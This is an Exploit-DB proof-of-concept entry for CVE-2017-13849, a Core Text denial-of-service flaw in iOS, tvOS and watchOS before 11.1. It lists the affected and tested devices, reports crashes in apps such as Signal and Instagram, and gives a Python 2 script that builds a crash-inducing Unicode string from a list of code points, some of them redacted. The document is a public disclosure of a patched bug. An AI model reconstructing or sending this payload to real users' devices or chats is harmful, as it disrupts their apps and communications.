Exploit-DB #43161
Description: iOS < 11.1 / tvOS < 11.1 / watchOS < 4.1 - Denial of Service
Type: dos
Platform: ios
Date: 2017-11-20
Author: Russian Otter

Exploit:
# Exploit Title: TpwnT - iOS Denail of Service POC
# Date: 10-31-2017
# Exploit Author: Russian Otter (Ro)
# Vendor Homepage: https://support.apple.com/en-us/HT208222
# Version: 2.1
# Tested on: iOS 10.3.2 - 11.1
# CVE: CVE-2017-13849

"""
-------------------------
     CVE-2017-13849
  TpwnT by Ro of SavSec
-------------------------

Description:
	Thread Pwning Text (TpwnT) is maliciously crafted text that affects the iPhone and other Apple devices by exploiting a vulnerability found in the Core-Text firmware which results in a thread crash or extreme application lag!

Recorded Tests / Results:
	Signal version 2.14.1 on iOS 10.3.2 (fixed on 2.15.3) users were able to crash conversations by sending the payload which would result in the app crashing when the selected chat was opened.
	
	Instagram version 10.25 (fixed on 10.31) on iOS 10.3.2 and resulting in chat thread crashes when the payload was sent which disallowed users to load chat or send messages. When the payload was unsent the chat was fuctional.
	
	Pythonista 3 on iOS 10.3.2, crashed when displaying multiple sets of TpwnT or while rotating the device.
	
Summary:
	When displaying the TpwnT Characters on iOS < 11.1 the iPhone may lag intensely or crash on certain apps!
	This allows for the possibility of DoS related attacks or application crashing attacks.

Creator: @Russian_Otter (Ro)
Discovery: 7-17-2017
Disclosure: 10-31-2017
Disclosure Page: https://support.apple.com/en-us/HT208222

Affected Devices
	iPhone 5S iOS < 11.1
	iPhone 6 & 6S iOS < 11.1
	iPhone 7 iOS < 11.1
	iPhone 8 iOS < 11.1
	iPhone X iOS < 11.1
	Apple TV 4th Generation
	Apple TV 4K 4th Generation
	iPod Touch 6th Generation
	iPad Air
	watchOS < 4.1
	tvOS < 11.1
	iOS < 11.1

Tested Devices:
	iPhone 5S iOS 10.3.2 - 11.1
	iPhone 6S iOS 10.3.1 - 11.1
	iPad Mini 2 iOS 10.3.2
	Apple TV 2 tvOS 10

Tested Apps:
	Signal
	Instagram
	Snapchat
	Safari
	Tanktastic
	Pythonista 3
	Notepad

"""

tpwnt = "880 881 883 887 888 975 [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] [PII_REDACTED] 10215 10216 11153 11374 11377 11381 11390 11392 11746 11747 11748 11749 11750 11751 11752 11753 11754 11755 11756 11757 11758 11759 11760 11761 11762 11763 11764 11765 11766 11767 11768 11769 11771 11772 11773 11774 11775 11776 11811 11813 11814 12295 12344 12357 12686 19971 19975 42560 42562 42563 42564 42565 42566 42567 42568 42569 42570 42571 42572 42573 42574 42575 42576 42577 42578 42579 42580 42581 42583 42584 42585 42587 42588 42589 42590 42591 42592 42594 42595 42596 42597 42598 42599 42600 42601 42602 42603 42604 42605 42606 42608 42609 42610 42611 42612 42613 42614 42615 42616 42617 42619 42620 42621 42622 42623 42624 42625 42627 42628 42629 42630 42632 42633 42634".split()

payload = ""
for i in tpwnt:
	s = unichr(int(i))
	payload += s

payload = bytes(payload)
payload_unicode = unicode(payload)

# Proof of Concept
# iOS < 11.1 Devices that display these characters should experience lag or crashes while TpwnT is visible

if raw_input("Show Payload [y/n] ") == "y":
	print payload_unicode